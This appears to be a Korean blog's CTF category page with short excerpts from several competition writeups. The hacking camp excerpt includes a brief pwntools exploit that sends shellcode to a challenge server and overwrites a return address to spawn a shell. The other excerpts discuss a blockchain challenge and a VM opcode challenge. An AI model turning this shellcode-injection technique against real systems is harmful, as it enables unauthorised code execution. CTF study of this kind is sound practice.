본문 바로가기

CTF39

(CTF) HackPack 2022 writeup https://blog.snwo.fun/posts/(ctf)-hack-d6d50/ (CTF) HackPack 2022 writeup difficulty: 🩸🩸 rank: 18 writeup: rev(1) blog.snwo.fun 2인팀으로 참가해서 18등했습니다 기억에 남는문제 롸업 작성해봤습니다 2022. 4. 12.
(CTF) UMDCTF 2022 writeup 요즘 ctf 에 블록체인, 스마트컨트렉트 관련 문제도 많이 나오고 있다. 바운티도 많이주고 재미있는 분야라서 올해 열심히 연구해보려고 한다. 마침 블록체인 문제가 있길래 하나 풀어봤다. Blockchain 2 - ChungusCoin https://hackernoon.com/learn-blockchains-by-building-one-117428612f46 위 글에 있는 내용을 기반으로 축소해서 파이썬+Flask 로 구축한 simple blockchain 이다시마. /nodes/update 에 chain 을 전송해 조건에 맞으면 flag 를 보내준다리미. values = request.get_json() length = values['length'] challenger_chain = values['cha.. 2022. 3. 7.
(CTF) hacking camp CTF 24th writeup (미스크, 포렌식, 기타 쉬운문제 제외한 간단 writeup) invitation from pwn import * r=remote("ctf-hackingcamp.com",10319) context.arch='i386' b=ELF("./invitation") pay=b'x'*0x18 pr=0x0804836d pay+=p32(b.sym['CODE']) r.sendafter("code : ",asm(shellcraft.i386.linux.sh())) r.sendlineafter("password : ",pay) r.interactive() NX 가 꺼져잇어서 code 에 쉘코드넣고 해당위치로 리턴. shell execve 가 seccomp 걸려있었다. 도커파일있는줄 모르고 계속 getdents 로 읽어올려했는.. 2022. 2. 24.
(CTF) hayyim CTF 2022 writeup (MemoryManager) 대회 끝나고 풀어본 문제다. MemoryManager opcode 입력받아서 실행시켜주는 vm 문제. bss 영역에 있는 stack 변수는 0x4060D8 영역을 가리키고, data 변수는 0x4060E0 영역을 가리키고있다. 입력 사이즈 제한은 0x1000 이다. void __fastcall sub_401F46(__int64 a1) { __int64 v1; // [rsp+1Fh] [rbp-31h] v1 = (unsigned __int8)get_opcode(a1); if ( (unsigned __int8)v1 rax+(a2&0xF)) = a3 원하는 레지스터 값을 a3 으로 덮을 수 있다. (rbp, rsp, rip 제외) opcode == 3 4050AC 는 초기값이 -1 인 변수인데, sub_4015.. 2022. 2. 17.